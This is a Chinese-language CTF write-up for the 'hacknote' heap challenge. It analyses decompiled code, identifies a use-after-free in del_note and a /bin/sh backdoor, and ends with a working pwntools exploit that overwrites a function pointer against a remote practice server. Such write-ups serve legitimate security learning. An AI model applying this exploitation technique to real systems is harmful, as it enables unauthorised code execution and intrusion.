# 1. 程序分析

32 位程序,开了 NX

伪源码:

main

c
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[4]; // [esp+0h] [ebp-Ch] BYREF
  int *v5; // [esp+4h] [ebp-8h]
  v5 = &argc;
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 4u);
      v3 = atoi(buf);
      if ( v3 != 2 )
        break;
      del_note();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        print_note();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add_note();
    }
  }
}

menu:

c
int menu()
{
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  return printf("Your choice :");
}

del_note:

c
int del_note()
{
  int result; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  int v2; // [esp+Ch] [ebp-Ch]
  printf("Index :");
  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = *((_DWORD *)&notelist + v2);
  if ( result )
  {
    free(*(void **)(*((_DWORD *)&notelist + v2) + 4));
    free(*((void **)&notelist + v2));
    result = puts("Success");
  }
  return result;
}

print_note:

c
int print_note()
{
  int result; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  int v2; // [esp+Ch] [ebp-Ch]
  printf("Index :");
  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = *((_DWORD *)&notelist + v2);
  if ( result )
    result = (**((int (__cdecl ***)(_DWORD))&notelist + v2))(*((_DWORD *)&notelist + v2));
  return result;
}

add_note:

c
int add_note()
{
  int result; // eax
  int v1; // esi
  char buf[8]; // [esp+0h] [ebp-18h] BYREF
  size_t size; // [esp+8h] [ebp-10h]
  int i; // [esp+Ch] [ebp-Ch]
  result = count;
  if ( count > 5 )
    return puts("Full");
  for ( i = 0; i <= 4; ++i )
  {
    result = *((_DWORD *)&notelist + i);
    if ( !result )
    {
      *((_DWORD *)&notelist + i) = malloc(8u);
      if ( !*((_DWORD *)&notelist + i) )
      {
        puts("Alloca Error");
        exit(-1);
      }
      **((_DWORD **)&notelist + i) = print_note_content;
      printf("Note size :");
      read(0, buf, 8u);
      size = atoi(buf);
      v1 = *((_DWORD *)&notelist + i);
      *(_DWORD *)(v1 + 4) = malloc(size);
      if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
      {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
      puts("Success !");
      return ++count;
    }
  }
  return result;
}

仍然是堆的菜单题

gdb 调试随便输入几个查看堆,这里是 tcache 应该是需要切换 glibc 版本:

再删除 index1 看看

bin:

此时我们发现他的操作都是两个两个一起的,看一看地址情况

再查看一下程序产生的 0x10 的 chunk 的 fd 是是什么

这里发现是一个 print_note_content 函数,利用 ida 看一下

反汇编,发现是一个 puts :

c
int __cdecl print_note_content(int a1)
{
  return puts(*(const char **)(a1 + 4));
}

设置个断点然后运行一下

这里发现刚好会 print_note_content 函数断开
这里也就输出我们的内容:

也就是说我们调用 print_not 就会通过该地址值来输出内容(因为 print_note 中并没有打印内容的函数)

这里就知道了 chunk 的 fd 指向了 print_note_content 回去执行打印内容

# 2. 漏洞分析

查看字符串,发现有 /bin/sh

跟进去看看,发现直接是个后门,没有开启 pie,所以我们可以利用:

这里发现 delete_note函数 并没有将指针置空,【错误的】 也就没有将对应的 index 号置空,也就是说,即使删除 index 后我们再次申请的 index 号仍然会增加,但是和之前删除的指向的是同一个地址

这里试一下将 index1删除 ,再申请同样大小的 chunk 内容为 www

看到原本的 index1 的内容被覆盖了,现在就要想办法将上面的 0x11chunk 的 fd 改写为后门函数的地址即可

我们知道 size 对应的 0x11 实际 chunk 的大小为 0x8,而执行 delete_note 函数时会将两个一起释放,那么我们只要将释放的 0x8 大小的 chunk 从 fastbin 中回收再改写 fd 即可即可

# 3.exp:

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p=remote('node4.buuoj.cn',27648)
#p=process("./hacknote")
system_binsh=0x8048945
def add(size,content):
    p.sendafter("choice :","1")
    p.sendafter("Note size :",str(size))
    p.sendafter("Content :",content)
    p.recvuntil("Success !")
def delete(index):
    p.sendafter("choice :","2")
    p.sendafter("Index :",str(index))
    
def print_a(index):
    p.sendlineafter("choice :","3")
    p.sendlineafter("Index :",str(index)) #这里要加换行,不然无法成功
   
add(16,"aaaa")
add(16,"bbbb")
add(16,"cccc")
delete(0) #
delete(1) #
add(8,p32(system_binsh)) #这里的 8 是程序创建的 chunk 的大小释放后被我们申请回来利用,原本这里 fd 存放的是 print_note_content
print_a(0) #给 index0 申请 chunk1
p.interactive()